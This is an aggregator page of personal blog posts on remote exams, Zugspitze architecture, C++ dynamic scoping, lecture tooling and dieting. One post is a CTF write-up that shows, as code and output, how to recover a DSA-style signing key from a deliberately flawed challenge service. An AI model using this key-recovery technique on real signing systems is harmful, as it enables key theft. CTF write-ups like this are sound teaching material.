Planet FAUi2k9

February 20, 2021

Christian DietrichFernklausuren

Auch wenn es wenig überraschend war, als die Uni Hannover alle im Februar 2021 stattfindenden Präsenzklausuren abgesagt hat und die Durchführung von elektronischen Klausuren empfohlen hat, mussten schnell sinnvolle Lösungen gefunden werden. Von einer Form der elektronischen Klausur, die mein Chef Daniel Lohmann "Fernklausuren" getauft hat und die wir gemeinsam am SRA ausgearbeitet haben, will ich in diesem kurzen Artikel erzählen.

Vorneweg will ich aber sagen, dass jede Form der elektronischen Klausur, bei denen wir Prüfer*innen die Umgebung der Prüflinge nicht kontrollieren können, schlecht ist. Es ist prinzipbedingt, durch den Zugang der Studierenden zum Internet und zu Kommunikationsmöglichkeiten, unmöglich kontrollierte Bedingungen zu schaffen, bei denen Unterschleif im gleichen Maße verhindert (oder zumindest erkannt) werden kann wie bei einer Präsenzklausur. Andere Formen von Prüfungen, wie Hausarbeiten oder mündliche Prüfungen, sind zwar in dieser Hinsicht leichter ins Elektronische übertragbar, haben aber den Nachteil nicht zu skalieren. Daher will ich mich hier nur mit der Klausur als Prüfungsform auseinandersetzten und unser Vorgehen beschreiben, wie wir versucht haben möglichst viele der guten Eigenschaften von Präsenzklausuren in "Fernklausuren" umzusetzen. Unsere Zielsetzungen bei der Konzeptionierung waren dabei folgende Punkte:

  • Geringe technische Anforderungen, welche die Student*innen erfüllen müssen.
  • Minimierung der Unterschleifmöglichkeiten.
  • Fehlertolerant gegenüber technischen Störungen während der Klausur.
  • Eine Prüfungsform, die den Studierenden bereits bekannt und die in dieser turbulenten Zeit einige gewisse Vertrautheit bietet.

Das Vorgehen

Der erste Schritt bei der Durchführung einer Fernklausur ist es eine schriftliche Klausurvorlage zu erstellen, die randomisierbar ist. Dabei muss man darauf achten, dass zum einen jede abgeleitete Klausur den gleichen Schwierigkeitsgrad hat und die Antworten auf die Fragen nicht trivial im Internet auffindbar sind. Aus dieser randomisierbaren Klausur erstellen wir für Jeden eine ganz individuelle Klausur samt zugehöriger Musterlösung. Auf diese Weise führt ein Austausch zwischen den Student*innen nur zu Chaos und Verwirrung.

Als zweites Verschlüsseln wir alle individuellen Klausuren (PDF-Dateien) mit dem gleichen Passwort und lassen verschicken die Dateien bereits im Vorfeld der eigentlichen Prüfung (24 Stunden vorher) an alle Angemeldeten. Auf diese Weise können sich alle die nötigen Dateien bereits im Vorfeld herunterladen und im Zweifel die Klausur auch in einer Hütte im Wald schreiben (was bei beengten Wohnverhältnissen durchaus eine praktikable Option auf einen ruhigen Ort sein kann). Zusammen mit der verschlüsselten Klausur kommt noch eine detaillierte Schritt-für-Schritt-Anleitung und ein Tool um einen SHA256-Hash einer Datei zu berechnen.

Am Tag der Klausur kommen alle Prüflinge in eine BigBlueButton-Session, in der sie 15 Minuten vor dem eigentlichen Klausurbeginn das Passwort für die Klausur erhalten. Diese Zeit ist zum Entschlüsseln und gegebenenfalls Drucken der Klausur gedacht. Da jeder Prüfling unterschiedlich lange für diesen Schritt brauchen wird, muss man dies bei der Erstellung der Klausur bedenken. Zeit darf bei dieser Form der Klausur nicht der limitierende Faktor für die Bearbeitung sein. Wenn ein Prüfling zu diesem Zeitpunkt kein Internet hat, haben wir in der Anleitung mehrere Telefonnummern angegeben, unter denen wir gegen Name und Matrikelnummer das Passwort herausgeben.

Im eigentlichen Prüfungszeitraum müssen die Studentinnen die Prüfung handschriftlich* bearbeiten. Dies hat zum einen der Vorteil, dass wir die gewohnte Form der schriftlichen Klausur haben, aber auch dass wir mehrere Seiten an handschriftliche Proben haben, wenn es zu Zweifeln bezüglich Unterschleif kommen sollte. Dabei haben wir 3 Möglichkeiten vorgesehen die Klausur zu Bearbeiten: (1) Ausfüllen am Tablet, (2) Ausfüllen auf einem Ausdruck der Klausur und (3) Bearbeitung auf Blanko-Papier. Für die letztere Methode haben wir jedes auszufüllende Feld mit einer eindeutigen Nummer versehen. Auf die Weise kann man Antwortfelder eindeutig vom Blank-Papier aus referenzieren. Daher besteht bei Fernklausuren kein Bedarf an einem Drucker.

Während der Klausur verwenden wir den BigBlueButton-Raum nur als Möglichkeit zum technischen Support und um Ansagen machen zu können. Dabei haben wir alle Studierenden zu je 50 Leute in Gruppen eingeteilt, die jeweils eigene Räume haben. Während der Klausur sind alle betreuenden Mitarbeiter im ständigen Austausch, indem sie in einer gemeinsamen Telefonkonferenz sind.

Nach dem Ende der Zeit müssen die Student*innen einen Scan der Klausur erzeugen, falls die Bearbeitung auf Papier stattgefunden hat. Dabei braucht es auch nicht unbedingt einen Scanner, ein modernes Smartphone und passende Scanner-Apps reichen völlig aus um ein Abgabe-PDF zu erzeugen. Wenn alles klappt, muss man die eigene Abgabe nur noch auf der Lernplattform der Universität hochladen und ist fertig mit der Klausur. Für diesen Schritt nach der Klausur haben wir wieder 15 Minuten eingeplant.

Wenn zum Abgabezeitpunkt das Internet stirbt oder die eigene Internetleitung nicht dick genug ist um große Scans hochzuladen, haben wir noch die Möglichkeit vorgesehen eine Prüfsumme der Abgabe zu Erstellen. Dazu haben wir beim Verschicken eine HTML-Datei mitgegeben, die in den meisten modernen Browsern läuft, und mit deren Hilfe man einen SHA256 berechnen kann. Das Abgeben der Prüfsumme kann per Chat, Mail oder (von der Hütte im Wald aus) per Telefon geschehen.

Weitere Hinweise

  • Die randomisierte Klausurvorlage ist Code und muss unbedingt von mehreren Mitarbeitern begutachtet werden. Ein Fehler in der Vorlage würde zu einer Babylonischen Verwirrung führen.
  • Es ist Tooling zum Erstellen und Verschicken der Klausuren zwingend notwendig. Wir haben eine Mischung aus Jinja2-Templates, LaTeX, und der Stud.IP-API zum Klausurversand verwendet.
  • Ein Probelauf mit den Prüflingen einige Tage vor der eigentlichen Klausur ist wichtig. Auf diese Weise lernen alle Beteiligte das Prozedere kennen und sind zum richtigen Termin nicht so aufgeregt.
  • Manche Student*innen haben so großartige Smartphones, dass bei 10 Seiten Klausur 250MiB PDF-Dateien rausfallen. Es ist als von Vorteil eine Möglichkeit in der Hinterhand zu haben um große Dateien hochladen zu können. Dienste wie Seafile und Nextcloud bieten sich hier an.
  • Die Prüfsumme als Fallback wurde tatsächlich von einigen Student*innen verwendet, wenn auch für einige nur zum Beruhigen der eigenen Unsicherheit ("Habt ihr die Datei mit dem Hash xxx erhalten?").

August 24, 2020

Maximilian HenryDie Bebauung des Zugspitzgipfels

Auch wenn mir Berge unverbaut deutlich lieber sind, so ist die Bebauung des Zugspitzgipfels doch spannend, gerade wenn man sie aus der Nähe gesehen hat. Leider ist das, was sich im Internet an Beschreibungen dazu findet sehr verstreut und man muss sich vieles zusammenbasteln um zu verstehen, wie das heutige Bild entstanden ist.

Dieser Post hier soll nicht alleine stehen, sondern der Beginn einer Serie sein, denn auch rund um Schneefernerhaus, die alte Station Zugspitzkamm und das dazu gehörende Kammhotel verdienen noch eine ordentliche Beschreibung. Für diesen Beitrag soll der Fokus aber die Bebauung des Gipfelbereichs, rund um den ehemaligen Westgipfel und den Mittelgipfel sein.

1897

Beginnen wir im Jahr 1897, mit dem Münchner Haus in seiner frühen Form steht das erste Gebäude auf Deutschlands höchstem Berg.

1900

Nur 3 Jahre später entsteht die Wetterwarte des deutschen Wetterdienstes, welche direkt an das Münchnerhaus grenzt. Noch steht hinter beiden der Westgipfel der Zugspitze.

1913

1913 zeigt sich das Münchner Haus schon in seiner heutigen Größe und hat nun auch eine befestigte Terrasse, auch wenn diese noch kleiner ist als heute.

1931

Ein Jahr nachdem die Zahnradbahn zum Schneefernerhaus vollendet wurde, wird Gästen mit der Seilschwebebahn der bequeme Zugang zur Zugspitze ermöglicht. Das damalige Seilbahngebäude entspricht ganz dem Zeitgeist und überragt erstmals die Gipfel der Zugspitze. In der Zwischenzeit entstand auch der Anbau an die Wetterwarte, welcher noch heute existiert.

1948

Der Westgipfel hinter dem Münchner Haus wurde 1939 gesprengt und vor dem Münchner Haus unterhalb am Hang steht nun ein Gebäude für die Richtfunktechnik der Bundespost. Dieser erste Bau fügt sich optisch in den alpinen Stil des Münchner Hauses ein.

1962

In den 1960ern setzt ein regelrechter Bauboom auf der Zugspitze ein, welcher mit der Eröffnung der alten Eibseebahn beginnt.

1963

Kurz darauf landet, wie ein Raumschiff die Höhenstrahlungsmessstation, welche heute zum GeoForschungsZentrum ZUGOG umfunktioniert wurde.

1964

Wieder nur ein Jahr später folgt die dritte Seilbahn auf den Zugspitzgipfel und die erste Seilbahn auf österreichischer Seite. Diese Bahn verbindet die alte Seilbahnstation Zugspitzkamm mit dem Gipfel, so dass mit einem Umstieg nun auch eine Fahrt von Ehrwald bis auf den Gipfel möglich ist, ohne durch den Passagiertunnel zum Schneefernerhaus laufen zu müssen und dort die deutsche Seilbahn zu nutzen.

1966

Innerhalb der nächsten beiden Jahre folgen auf österreichischer Seite nun auch ein Restaurant und Hotel und die Bebauung auf wächst an der Ländergrenze zusammen. Nun kann man am Gipfel die Grenze überschreiten, ohne den Fels betreten zu müssen.

1973

1973 errichtet die deutsche Bundespost, heute Telekom ihr neues Richtfunkgebäude, ein Futuristischer Stahl und Glasbau, welcher mit einem Tunnel unter dem Münchner Haus mit einem Antennenausleger verbunden ist. Im Zuge dieser Bauarbeiten bekommt das Münchner Haus auch seine größere, noch heute genutzte Terrasse.

1991

Die alte Kammbahn wird auf österreichischer Seite durch eine neue Seilbahn, welche direkt und ohne zwischenhalt aus Ehrwald fährt, ersetzt. Das alte Seilbahngebäude bleibt mit kleineren Umbauten erhalten, vom Grat aus sieht man nun eine große Fensterfront wo wie alte Seilbahn war.

1992

Nur ein Jahr später folgt auf deutscher Seite die neue Gletscher Bahn, welche den neuen Zahnradbahn-Bahnhof Sonnalpin anbindet, statt des nun touristisch unbedeutenden Schneefernerhauses. Zusammen mit der neuen Seilbahn entsteht auch der Gebäudekomplex am Ostgipfel, welcher noch heute steht.

2017

2017 kommen wir am momentanen Zustand an, die alte Eibseebahn wurde nun durch die Seilbahn Zugspitze ersetzt, womit der Zugspitzgipfel sein heutiges Erscheinungsbild erhielt. Die Verbindung zwischen Seilbahn Zugspitze und Münchnerhaus Terrasse besteht heute, soweit ich es nachvollziehen konnte, aus Resten des alten Eibsee-Seilbahn-Gebäudes.

Links und Quellen:

July 10, 2020

Christian DietrichDynamic Scoping in C++

I always had a faible for dynamic scoping as it is implemented in Common Lisp, Emacs Lisp, or LaTeX. To me, it seems that dynamic scoping is an almost forgotten technique and dismissed technique in modern programming. While it is more complex to understand and more magically than lexical scoping, there are some applications that benefit from dynamic scoping.

In lexical scoping, if you access a variable, your compiler will start searching the declaration from the point of reference outwards in lexical order. This means it searches first in the most inner scope, and continoues to widen its search scope by the "closed-nested-scope rule". For example, in the following code snippet, the call to foo() would return 23, as the lexcially-closest declaration is the global variable.

int config = 23;

return foo() {
    return config;
}

void bar() {
    int config = 42;
    printf("%d\", foo());
}

With dynamic scoping, the world would look different as the closest (time-wise) dynamic binding for a given name is found instead of lexically closest. In the example, foo() would return 42, as the binding in bar() happened more recently that the global binding.

You can think of a dynamically-scoped global variable as shadowable global binding. By creating a new binding for the variable, we shadow the old binding, and all references in child functions will now refer to the new binding, although they have not received the value via an argument transfer. Ergo, dynamically-scoped variables are shadowable side-channels that can influence the behavior of a function.

For example, in Common Lisp, the variable *standard-output* is dynamically scoped and functions (print) simply send there characters to that variable. As it is dynamically scoped, we can just redirect all output to a file by creating a new binding for *standard-output*.

(with-open-file (*standard-output* "somefile.dat" :direction :output
                                   :if-exists :supersede)
   (print "this goes into file"))

Wouldn't it be neat to do the same in, let's say, C++? Luckily, with templates, the RAII pattern, and some template magic, we can write code like this:

DynamicScope<int> G(0);

void bar() {
    std::cout << "bar " << *G << std::endl;
}

void foo() {
    DynamicScope<int>::BindInstance _(G, 3);
    bar();
}
int main() {
    std::cout << "main1 " << *G << std::endl;
    foo();
    std::cout << "main2 " << *G << std::endl;

}

and end up with the output:

main1 0
bar 3
main2 0

The source for the DynamicScope<T> can be found here: dynamic_scope.cc

[UPDATE 23.09.2020] Multi-Threaded Programs

After some discussion on HackerNews (which I highly recommend to read), I was made aware that the previous implementation has a problem with multi-threaded programs. As all threads share the same global objects as a root to their dynamic-scope value stack, bindings in one thread had an influence on the bindings in another thread. Of coure, this would be a broken version of dynamic scoping.

The problem can be circumvented by making the global variable thread local:

thread_local DynamicScope<int> G(0);

With this, every thread has its own version of the G object, which internally is the head of a linked list of the shadowed values. However, someone could forget the add the required thread_local attribute.

Unluckily, checking whether the storage class of a given variable is thread_local is not that trivial. However, I came up with a rather low-cost sanity check that ensures that a variable must be declared thread_local. The updated version of DynamicScope<T>, as well as some benchmarking code, can be found here: thread_dynamic_scope.cc

June 26, 2020

Christian DietrichFolien und Skript für PSÜ

Für das Sommersemester 2020 habe ich die Veranstaltung "Programmiersprachen und Übersetzer" an der Leibniz Universität Hannover übernommen. Im Vorfeld habe ich mich entschieden eigene Materialien zu erstellen, da ich einen anderen Fokus auf das Thema legen wollte als meine Vorgänger. Es sollte weniger um Syntaxanalyse und Übersetzerbau wie wir ihn aus dem Drachenbuch kennen und mehr um die größeren Konzepte und Paradigmen von Programmiersprachen gehen.

Bei der Erstellung der Materialien (Folien, Skript) habe ich eine Reihe an Werkzeugen entwickelt, die mir immens dabei geholfen haben effizient meine Gedanken nieder zu schreiben. Von dieser Toolchain werde ich in diesem Artikel beschreiben, vielleicht sind sie auch für andere nützlich.

Skript: Schriftliche Ausarbeitung der Vorlesung

Ein Skript ist kein Lehrbuch. Es kann kein Lehrbuch ersetzen und sollte dies auch nicht versuchen. Ein Skript ist eine Unterstützende Materialsammlung, die es unseren Studierenden erleichtern soll sich selbstständig mit der Vorlesung auseinander zu setzen. Vorlesung und Skript sollten also möglichst eng miteinander gekoppelt sein, damit die Studierenden nicht von einem Mismatch zwischen Skript und Folien in ihrer akuten Lernphase (aka 2 Tage vor der Klausur) noch mehr verwirrt werden als eh schon.

Um eine möglichst enge Bindung von Vorlesung habe ich mich entschieden Skript und Folien als ein integriertes und interaktives Dokument zur Verfügung zu stellen. Das bedeutet, dass das Skript genau wie die Vorlesung strukturiert ist und die Folien als Bilder in das Skript eingewoben werden. So kann ich zu jeder Folie bzw. jeweils einem Bündel an Folien einen erklärenden, ergänzenden, und teilweise weiter ausufernden, Text formulieren, der Elemente der Folie erklärt. Dadurch kommt es, hoffentlich, beim Studierenden weniger oft zur Frage "Was zur Hölle wollte der Dozent mir mit dieser Graphik sagen?".

Außerdem stelle ich sowohl Skript, als auch Folien der Öffentlichkeit zur Verfügung, und ihr findet es auf den Seiten des Fachbereich System- und Rechnerarchitektur. Schließlich werde ich aus öffentlichen Geldern bezahlt, dann kann ich meine Materialien auch öffentlich, als Creative Commons, zur Verfügung stellen. Und dank Corona gibt es dort nicht nur das Skript und die Folien, sondern auch eine Aufzeichnung der Vorlesung, wie ich sie im Sommersemester 2020 gehalten habe.

Skript: Technik

Aber kommen wir nun zur Technik des Skripts: Technisches Rückgrat des Skripts ist der org-mode von Emacs. In a Nutshell ist der org-mode ein Dateiformat mit reichhaltigem Tooling innerhalb des Emacs Ökosystems. Ursprünglich gedacht um Aufgaben zu verwalten, ist das Format zu einer vollständigen Lightweight Markup Language geworden. Wichtig für mein Skript ist, dass org-mode die Möglichkeit hat Dateien als HTML zu exportieren und eingebettete Codeblöcke separat zu exportieren.

Den Korpus des Skripts schreibe ich in org-mode und exportiere ihn schlussendlich in ein HTML Dokument. Für die Erstellung der Folien verwende ich die LaTeX Beamer Klasse und kann daher den Quellcode der Folien direkt als Codeblöcke innerhalb des org-mode Dokuments einbinden. Wie das aussieht kann man auf Github sehen, wo ich die Quelldateien des Skripts öffentlich entwickle.

Mittels Tangling, einer Technik aus dem Literate Programming, exportiere ich den LaTeX Quellcode als separates Dokument und übersetze es ganz regular zu einer PDF Datei. Dabei erhalte ich die Information, welche Folie aus welchem Quellcodeblock stammt um später die Folien genau an dieser Stelle wieder einzufügen. Das entstandene PDF verwende ich dann während der Vorlesung.

Für das Skript, zerteile ich die einzelnen Folien des PDFs, konvertiere sie nach SVG, und füge sie in das exportierte HTML des Skripts ein. Dort sorgt dann ein bisschen JavaScript Code und Bootstrap Magie dafür, dass die Folien eines Codeblocks zu einem "Carousel" wird, welches die Studierenden einfach durchklicken können. So behalten auch schrittweise Animationen und inkrementeller Folienaufbau ihren Nutzen im Skript. Etwas, dass mit einem reinem PDF Skript nicht möglich gewesen wäre.

Zusätzlich erlaubt es der org-mode auch exportierte Codeblöcke in anderen Sprachen (z.B. Python), mittels Klipse direkt ausführbar zu machen. Das Codebeispiel wird dann mit einer JavaScript Version des jeweiligen Interpreters Live im Browser ausgeführt und die Studierenden können das Codebeispiel direkt editieren.

Insgesamt braucht das fertig exportierte Skript keine Infrastruktur auf dem Server und kann als rein statische Dateien zur Verfügung gestellt werden. Dies minimiert den dauerhaften Wartungsaufwand, bietet keine zusätzliche Angriffsfläche, und ist trivial archivierbar.

Folien: Techniken

Um Folien mittels Beamer aufzubereiten habe ich einige Techniken entwickelt, die es mir leichter machen mich weniger mit LaTeX und mehr mit dem Stoff auseinander zu setzen. Dabei ist das wichtigste Grundprinzip, dass das übersetzen der Folien nach PDF schnell sein muss. Nur so wartet man nicht ewig und drei Tage darauf, dass der gesamte Foliensatz wegen einer kleinen Änderung neu übersetzt werden muss. Dabei bringe ich zwei Techniken zum Einsatz.

Zum einen erlaubt mir meine org-mode Tangling Infrastruktur nur einzelne Quellcodeblöcke und damit einzelne Folienbündel zu exportieren. Damit reduziert sich die LaTeX Übersetzungszeit bereits maßgeblich und ich kann lokal an einer Stelle im Foliensatz arbeiten, ohne alles immer neu zu bauen.

Die andere wichtige Technik ist die separate Übersetzung von Graphiken. Ich erstelle die meisten meiner Graphiken mit PGF/TikZ, da ich darin meist am effektivsten bin und sehr leicht sich inkrementell aufbauende Graphiken erzeugen kann. Dazu aber später mehr. Was allerdings ein Problem an TikZ ist, dass es teilweise lange braucht um zu einem PDF übersetzt zu werden. Daher wende ich hier die Technik der separaten Übersetzung an.

Graphiken: Schrittweise Animationen mit Beamer und TikZ

Sobald man die steile Lernkurve hinter sich hat ist TikZ hervorragend geeignet um Vektorgraphiken zu erzeugen, da es im Prinzip eine Programmiersprache ist um Knoten und Kanten zu platzieren. In Kombination mit Beamer und separater Übersetzung kann man damit relativ einfach sich aufbauende Graphiken erzeugen, die man dann in den Folien einbetten kann. Die Grundidee dabei ist, die Graphik als ein eigenständiges Beamerdokument zu erzeugen, dass genau eine Folie mit einer TikZ Graphik enthält. Mit den Mechanismen von Beamer können wir dann einzelne Knoten als Overlay überblenden. Für PSÜ habe ich dieses Vorgehen in der Klasse lecturefig gebündelt. Eine einfache Animation kann dann wie folgt aussehen:

\documentclass{lecturefig}
\begin{document}
\begin{frame}[fragile]
  \begin{tikzpicture}[]
    \node[draw] (a) {A};

    \begin{visible}<2->
      \node[draw,right=of a] (b) {B};
      \draw[->] (a) -- (b);
    \end{visible}
  \end{tikzpicture}
\end{frame}
\end{document}

Jeder Animationsschritt wird hierbei zu einer PDF Seite in der Graphik und kann dann in den Folien in unterschiedlichen Beamer Overlays eingebunden werden.

Graphiken: Schrittweise Animationen mit SVG

Da auch ich keine Lust habe jede Animation mit TikZ zu malen, habe ich noch das svgfig Werkzeug geschrieben, was ein Inkscape SVG in ein mehrseitiges PDF exportiert. Die einzelnen Animationsschritte kann ich dort mit Inkscape Layern bestimmen, die mit einer Beamer Overlay Specification benannt sind. Jeder Layer wird also genau auf den PDF Seiten angezeigt, die sein Overlay-Ausdruck angibt.

June 10, 2020

Maximilian HenryEin Experiment

Ein Experiment

Ich hatte es mir durchaus bequem gemacht. 3 Jahre im gleichen Job, angenehme WG, aber es brauchte einen Ausbruch. Hätte ich das mit Corona so sehen kommen, hätte ich vielleicht auch an den Plänen etwas geändert, aber nun werden sie durch gezogen. Am nächsten Montag sitze ich mit Gepäck für 4 Monate im Auto und fahre nach Tschagguns, von wo aus ich auf die Tilisuna Hütte ziehen werde, wo ich nun für diese Saison arbeiten werde.

Ich hoffe, dass der ein oder andere von euch mich dort besuchen kommen wird. Von der Schweizer Seite her ist der Weg auch nicht so anstrengend.

(Coverfoto von Böhringer unter CC-BY-SA 2.5)

July 21, 2019

Christian DietrichInput < Output

Das fortwährende Angebot an leckerer und energiereicher Nahrung ist an mir in den letzten 10 Jahren nicht spurlose vorbei gegangen. Insbesondere im Studium und nun während meiner Promotionszeit habe ich veritable Energiespeicher, in Form von Fett, angelegt. Nun da das Buch fertig ist, habe ich den Kopf wieder freier und habe das Thema angegangen.

Im Zuge dessen habe ich mich mit Ernährung auseinander gesetzt und einige Einsichten gewonnen, von denen ich hier ein berichten will. Vielleicht für andere auch nützlich sind. Viele dieser Gedanken habe ich aus dem Buch Fettlogik überwinden von Nadja Herrmann, in dem sie Mythen über das Abnehmen anspricht und die passenden wissenschaftlichen Referenzen dazu zusammen trägt. Ich kann dieses Buch wirklich jedem nur wärmsten empfehlen, selbst wenn man nicht übergewichtig ist.

Fett ist ehemals verderbliche Nahrung

So trivial es klingt, aber Fettgewebe ist der Energiespeicher des Körpers. Mit 7000 kcal pro Kilogramm Fettgewebe ist es in der Größenordnung von Butter. Dieses Gewebe kann vom Körper mit relativ wenig Energieaufwand am Leben gehalten werden, da es im Grunde nur geheizt werden muss. Ganz anders als Muskelgewebe, das bewegt sich ja auch noch und gibt dabei Energie aus.

Evolutionstechnisch macht die Möglichkeit Fettgewebe anzulegen auch viel Sinn, weil man damit Zeiten mit schwankender Nahrungszufuhr gut ausgleichen kann. Wenn es im Herbst viel Obst und Nahrungsmitteln in Fülle gibt, ist es sinvoll sich daran zu überfressen und so die Kalorien als Fett rumzutragen, anstatt den Äpfeln beim verfaulen zuzusehen. Mehr essen als man gerade braucht ist also eine ganz valide Strategie der Nahrungsmittelkonservierung. Und weil verhungern schlimmer ist als ein etwaig späterer Herzinfarkt hat sich das auch in der Evolution durchgesetzt.

Der Körper wirft nichts weg

Viele Diätmythen erzählen einem das dieses oder jenes Nahrungsmittel den Kreislauf ankurbelt und man damit ganz Mühelos schlank wird. Es stellt sich aber die Frage, wie dieses "Kreislauf ankurbeln" funktionieren soll? Bekommt man davon Fieber, oder wohin geht die Energie, die dieser "angekurbelte" Kreislauf verbrauchen soll? Denn solange die Energieerhaltung gilt, gibt es eigentlich nur die eine Möglichkeit den Energiespeicher abzuschmelzen: Weniger zuführen als man verbraucht. Das ist die eine und die einzige Methode Fettgewebe zu verlieren (abgesehen von Operationen).

Ein Gedanke, den eine Freundin bei diesem Thema noch aufgebracht hat ist di der Ketogenen Diät. Dabei bringt man den Körper in eine Kohlenhydratmangelernährung (vgl. Low Carb). Der Mechanismus dahinter funktionier in etwa so: Der Körper hat im Grunde zwei große Stoffwechselwege für Energie, Glucose und Ketonkörper. Bei einer Ketogenen Diät reduziert man seine Kohlenhydrate soweit, dass die Zellen nun hauptsächlich Energie aus Fetten (also auch aus dem Fettgewebe) über den Ketonstoffwechsel verfeuern. Weil es aber eine Mangelernährung ist, hat es auch einige blöde Seiteneffekte, wie erhöhtes Herzinfarktrisiko. Eine Annahme, die hinter dieser gewollten Mangelernährung steht, wenn sie als Diät angepriesen wird, ist, dass dieser Ketonstoffwechsel ineffizienter ist als der Weg über die Glukose. Ein Beispiel für diese Idee in der Realität ist Atkins Diät. Allerdings weiß die Wikipedia dazu folgendes zu sagen:

"In his early books such as Dr Atkins' New Diet Revolution, Atkins made the controversial argument that the low-carbohydrate diet produces a metabolic advantage because "burning fat takes more calories so you expend more calories"; the Atkins diet was claimed to be "a high calorie way to stay thin forever". He cited one study in which he estimated this advantage to be 950 Calories (4.0 MJ) per day. A review study published in Lancet concluded that there was no such metabolic advantage and dieters were simply eating fewer calories."

Wenn wir mal einen Schritt zurück gehen, wäre das ein evolutionäre Nachteil für einen Menschen, wenn der Umweg über den Fettspeicher so massiv ineffizienter wäre als über direktes Verbrennen oder andere Energiespeicher, wie der Glykogenspeicher in der Leber. Es ist daher relativ naheliegend, das der Körper jedes einzelne Kalorien was man zu sich führt mit maximaler Effizienz (irgendwann) verwenden will. Alles was dieser Grundannahme widersprich ist erstmal konterintuitiv und würde ich erst glauben, wenn ich die large-scale Studie dazu gesehen habe. Alternativ auch gerne die Energiebilanz der zu Grunde liegenden chemischen Reduktion.

Kaloriendefizit != Hunger

Ich habe dafür argumentiert, dass ein ordentliches Kaloriendefizit die einzige Strategie ist seinen Energiespeicher zu verringern. Aber was erreichen dann eigentlich erfolgreiche Diäten?

Wenn ein Mensch mit einer Diät erfolgreich ist, hat er es über Diät geschafft seinen Hunger zu managen während er ein Kaloriendefizit gefahren hat. Dabei seh ich so zwei Richtungen mit denen das klappen kann: es darf nicht mehr so sucken sich nicht mehr jeden Tag mit KitKat vollzustopfen, und man kann psychologische Mechanismen ausnutzen um weniger essen zu wollen.

Das erste kann man ganz gut damit erreichen, indem man auf die Energiedichte seiner Nahrung achtet. Umso energiedichter ein Nahrungsmittel ist, umso mehr kann ich davon essen bevor ich mich vollgestopft fühle. Umgekehrt bedeutet das aber auch, dass ich mich solange mit Gurken und Tomaten überfressen kann bis ich platze und dennoch ein Energiedefizit erreichen kann. Das ist eine Strategie, die bei mir ganz gut funktioniert hat. Esst mehr Tomaten, macht auch attraktiver.

Die zweite Strategie kennt mehrere Varianten: Eine ist Beispielsweise eintöniger zu essen (sucks!). Wenn Menschen immer dasselbe bekommen, haben sie darauf weniger Appetit und essen automatisch weniger. Eine andere ist viele Proteine zu sich zu nehmen, weil der Körper (anscheinend) bei einer hohen Zufuhr an Aminosäuren früher sagt: jo passt schon, hör mal auf diesen Block Tofu zu essen.

Kommentare auf Mastodon

April 07, 2019

Christoph EggerMidnight Sun CTF 2019 EZDSA Writeup

This is FAUST playing CTF again, this time midnightsun.

Team: FAUST
Crew: siccegge

OK so we're looking at the EZDSA service. This is a signature service and the task is essentially to recover the signing key. Code is reproduced below.

#!/usr/bin/python2
from hashlib import sha1
from Crypto import Random
from flag import FLAG


class PrivateSigningKey:

    def __init__(self):
        self.gen = 0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L
        self.q = 0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL
        self.p = 0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L
        self.key = int(FLAG.encode("hex"), 16)

    def sign(self, m):

        def bytes_to_long(b):
            return long(b.encode("hex"), 16)

        h = bytes_to_long(sha1(m).digest())
        u = bytes_to_long(Random.new().read(20))
        assert(bytes_to_long(m) % (self.q - 1) != 0)

        k = pow(self.gen, u * bytes_to_long(m), self.q)
        r = pow(self.gen, k, self.p) % self.q
        s = pow(k, self.q - 2, self.q) * (h + self.key * r) % self.q
        assert(s != 0)

        return r, s

The outer service was not provided but you could pass in base64 encoded byte arrays and got back r and s as already indicated. Looking at the final computation for s we notice that given \((h + k * r)\) and \(h, r\) we can easily recover \(k\). For this to work it would be convenient if the first term ends up being 1. Unfortunately, the easiest way to get there is prevented: \(g^{q-1} = 1\). Fortunately this is not the only exponent where this works and a good candidate is \((q-1 / 2)\).

pow(gen, (q-1)//2, q)
1

From there the only thing left is solving \(s = (h + k * r)\). Fortunately gmpy has the solution prepackaged again: divm. So we proceed by getting a valid "signature" on \((q-1 / 2)\). The rest is simple calculation:

#!/usr/bin/python3
sha1(binascii.unhexlify("%x" % ((q-1)//2))).hexdigest()
'e6d805a06977596563941c1e732e192045aa49f0'

base64.b64encode(binascii.unhexlify("%x" % ((q-1)//2)))

gmpy2.divm(s-h, r, q)
mpz(39611266634150218411162254052999901308991)

binascii.unhexlify("%x" % 39611266634150218411162254052999901308991)
b'th4t_w4s_e4sy_eh?'

OK so why does \((q-1 / 2)\) work? Essentially, the field defined \(F_q\) -- calculations mod q -- has q elements additively and \(q-1\) elements multiplicatively(and we're considering exponentiation as repeated multiplication). Therefore it contains cyclic subgroups for all factors of \(q-1\) and for every element \(e\), \(e^o = 1\) where o is the order of the subgroup that element belongs to. as the generator is trivially not \(-1\) -- the subgroup of size 2 -- \((q-1 / 2)\) must be a multiple of the generated group's order.

January 25, 2019

Christian DietrichImmutable SD Cards

Today, I had a strange behavior of an micro SD card that I've found around here. And with this blogpost, I will document this behavior as I had a hard time to search for this phenomenon , as it is confused by the "I physically switched by SD card to read-only mode, help!" problem in forums.

The phenomenon manifests as an immuteable SD card. The operating system thinks it is a fully working read-write block medium and the card reports no error for a written block. However, the block is silently dropped. And since the OS thinks that the write was successful, the modified block is placed in the buffer cache. Therefore, it looks like filesystem operations just work fine. However, when I unplugged the card and replugged it, the card snapped to its original state.

After wondering about this phenomenon on Mastodon, I got a lot of answers that this "magic SD card reset" is a common failure mode for SD cards. They switch into a (sometimes) silent read-only mode. As people have sugested, this happens for example if the maximal number of write cycles is reached and no erasure blocks are left.

PS: For this blogpost I tried to use as many googlable synonyms for the problem, as I had really a hard time to find a conciese description of the silent SD card failure.

January 20, 2019

Christian DietrichMastodon Photostream on Static Websites

During the rebuilt of this website, I had the wish to show a dynamic Photostream of the pictures that I posted on my Mastodon account over at @chaos.social. After some fiddling around, I build a small Javascript snippet that uses JQuery to fetch my status updates from the public API and display them.

$(document).ready(function() {
    var self = this;
